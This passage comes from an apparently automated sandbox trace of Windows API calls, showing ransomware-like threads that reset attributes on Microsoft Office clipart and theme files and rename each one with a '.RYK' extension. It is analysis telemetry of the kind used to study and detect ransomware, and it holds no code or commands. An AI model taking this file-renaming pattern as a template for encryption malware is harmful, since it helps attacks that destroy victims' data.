	[0258.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.221] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.221] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3531
	os_tid = 0x3c84

	[0258.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF", dwFileAttributes=0x80) returned 0
	[0258.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.220] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.221] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3532
	os_tid = 0x3c88

	[0258.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF", dwFileAttributes=0x80) returned 0
	[0258.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.219] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.220] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3533
	os_tid = 0x3c8c

	[0258.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF", dwFileAttributes=0x80) returned 0
	[0258.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.218] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.218] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3534
	os_tid = 0x3c90

	[0258.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF", dwFileAttributes=0x80) returned 0
	[0258.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.686] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3535
	os_tid = 0x3c94

	[0258.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF", dwFileAttributes=0x80) returned 0
	[0258.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.217] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3536
	os_tid = 0x3c98

	[0258.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF", dwFileAttributes=0x80) returned 0
	[0258.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.989] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.989] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3537
	os_tid = 0x3c9c

	[0258.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF", dwFileAttributes=0x80) returned 0
	[0258.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.990] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.990] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3541
	os_tid = 0x3cac

	[0258.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF", dwFileAttributes=0x80) returned 0
	[0258.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.992] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.992] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3542
	os_tid = 0x3cb0

	[0258.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF", dwFileAttributes=0x80) returned 0
	[0258.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.993] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.993] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3543
	os_tid = 0x3cb4

	[0258.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF", dwFileAttributes=0x80) returned 0
	[0258.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.994] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.995] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3544
	os_tid = 0x3cb8

	[0258.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF", dwFileAttributes=0x80) returned 0
	[0259.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.242] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.242] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3556
	os_tid = 0x3ce8

	[0260.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx", dwFileAttributes=0x80) returned 0
	[0260.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.967] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.967] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3557
	os_tid = 0x3cec

	[0260.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx", dwFileAttributes=0x80) returned 0
	[0260.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.968] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.968] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3558
	os_tid = 0x3cf0

	[0260.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx", dwFileAttributes=0x80) returned 0
	[0260.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.970] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.970] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3559
	os_tid = 0x3cf4

	[0260.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx", dwFileAttributes=0x80) returned 0
	[0260.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.971] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.971] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3560
	os_tid = 0x3cf8

	[0260.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx", dwFileAttributes=0x80) returned 0
	[0260.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.972] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.973] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3561
	os_tid = 0x3cfc

	[0260.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx", dwFileAttributes=0x80) returned 0
	[0260.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.976] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.976] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3562
	os_tid = 0x3d00

	[0260.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx", dwFileAttributes=0x80) returned 0
	[0260.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.978] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.978] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3563
	os_tid = 0x3d04

	[0260.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx", dwFileAttributes=0x80) returned 0
	[0260.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.979] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.979] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3564
	os_tid = 0x3d08

	[0260.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx", dwFileAttributes=0x80) returned 0
	[0260.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.981] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.981] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3565
	os_tid = 0x3d0c

	[0260.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx", dwFileAttributes=0x80) returned 0
	[0260.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.982] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.982] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3566
	os_tid = 0x3d10

	[0260.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx", dwFileAttributes=0x80) returned 0
	[0260.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.984] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.984] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3567
	os_tid = 0x3d14

	[0260.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx", dwFileAttributes=0x80) returned 0
	[0261.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.496] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.496] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3569
	os_tid = 0x3d20

	[0260.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx", dwFileAttributes=0x80) returned 0
	[0261.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.495] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.495] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3570
	os_tid = 0x3d24

	[0260.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx", dwFileAttributes=0x80) returned 0
	[0261.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.494] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.494] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3571
	os_tid = 0x3d28

	[0260.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx", dwFileAttributes=0x80) returned 0
